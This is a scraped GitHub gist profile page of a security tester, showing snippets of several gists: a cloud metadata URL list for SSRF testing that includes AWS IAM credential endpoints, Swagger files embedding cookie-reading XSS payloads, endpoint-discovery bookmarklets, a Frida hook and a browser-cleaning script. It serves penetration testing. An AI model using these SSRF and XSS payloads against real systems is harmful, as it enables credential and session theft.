Skip to content

Instantly share code, notes, and snippets.

View betillogalvanfbc's full-sized avatar
:electron:
Don't give up!

Betillø Galvan betillogalvanfbc

:electron:
Don't give up!
View GitHub Profile
@betillogalvanfbc
betillogalvanfbc / cloud_metadata.txt
Created March 13, 2025 03:26 — forked from jhaddix/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@betillogalvanfbc
betillogalvanfbc / xss2.yaml
Last active February 24, 2025 20:17
xss2.yaml
swagger: '2.0'
info:
title: User API
description: |
# User API 📌
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
@betillogalvanfbc
betillogalvanfbc / xss.yaml
Last active February 24, 2025 20:07
xss.yaml
swagger: '2.0'
info:
title: User API
description: |
# User API 📌
Esta API permite gestionar usuarios con operaciones CRUD. A continuación, se detallan los endpoints y ejemplos de uso.
---
@betillogalvanfbc
betillogalvanfbc / onelefmin.js
Created January 30, 2025 00:45
onelefmin.js
javascript:(async%20function()%7Bconst%20scanningDiv%3Ddocument.createElement(%22div%22)%3BscanningDiv.style.position%3D%22fixed%22%2CscanningDiv.style.bottom%3D%220%22%2CscanningDiv.style.left%3D%220%22%2CscanningDiv.style.width%3D%22100%25%22%2CscanningDiv.style.maxHeight%3D%2250%25%22%2CscanningDiv.style.overflowY%3D%22scroll%22%2CscanningDiv.style.backgroundColor%3D%22white%22%2CscanningDiv.style.color%3D%22black%22%2CscanningDiv.style.padding%3D%2210px%22%2CscanningDiv.style.zIndex%3D%229999%22%2CscanningDiv.style.borderTop%3D%222px%20solid%20black%22%2CscanningDiv.innerHTML%3D%22%3Ch4%3EScanning%20resources...%3C%2Fh4%3E%22%2Cdocument.body.appendChild(scanningDiv)%3Blet%20paths%3D%5B%5D%2CprocessedUrls%3Dnew%20Set%3Basync%20function%20fetchContent(url)%7Btry%7Bconst%20response%3Dawait%20fetch(url)%3Breturn%20response.ok%3Fawait%20response.text()%3Anull%7Dcatch(error)%7Breturn%20console.error(%60Error%20fetching%20%24%7Burl%7D%3A%60%2Cerror)%2Cnull%7D%7Dfunction%20extractPaths(text)%7Breturn%5B...text.ma
@betillogalvanfbc
betillogalvanfbc / onelef.js
Created January 30, 2025 00:40
onelinerendpointsfull.js
javascript:(async function() {
// Crear una ventana emergente para mostrar el progreso
const scanningDiv = document.createElement("div");
scanningDiv.style.position = "fixed";
scanningDiv.style.bottom = "0";
scanningDiv.style.left = "0";
scanningDiv.style.width = "100%";
scanningDiv.style.maxHeight = "50%";
scanningDiv.style.overflowY = "scroll";
scanningDiv.style.backgroundColor = "white";
@betillogalvanfbc
betillogalvanfbc / onelinernextjs.js
Created December 30, 2024 01:11
one-liner trick to instantly reveal every route in a Next.js app
console.log(__BUILD_MANIFEST.sortedPages.join('\n'));
OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
TRACK
DEBUG
PURGE
// Función para descargar un archivo y guardarlo en la carpeta Downloads
async function downloadJSFile(url, filename) {
try {
const response = await fetch(url);
if (!response.ok) throw new Error(`HTTP error! Status: ${response.status}`);
const blob = await response.blob();
const a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = filename;
document.body.appendChild(a);
@betillogalvanfbc
betillogalvanfbc / checknetwork.js
Created April 23, 2024 19:27
checknetwork.js
Java.perform(function() {
var NetworkInfo = Java.use('android.net.NetworkInfo');
// Interceptamos el método isConnected
NetworkInfo.isConnected.overload().implementation = function() {
// Devolvemos siempre true para indicar que la red está conectada
return true;
};
// Interceptamos el método getTypeName
@betillogalvanfbc
betillogalvanfbc / cb.py
Created February 2, 2024 21:59
cleanbrowsers.py
import os
import shutil
import subprocess
from pathlib import Path
browsers_to_kill = [
'chrome.exe',
'firefox.exe',
'msedge.exe',
'brave.exe',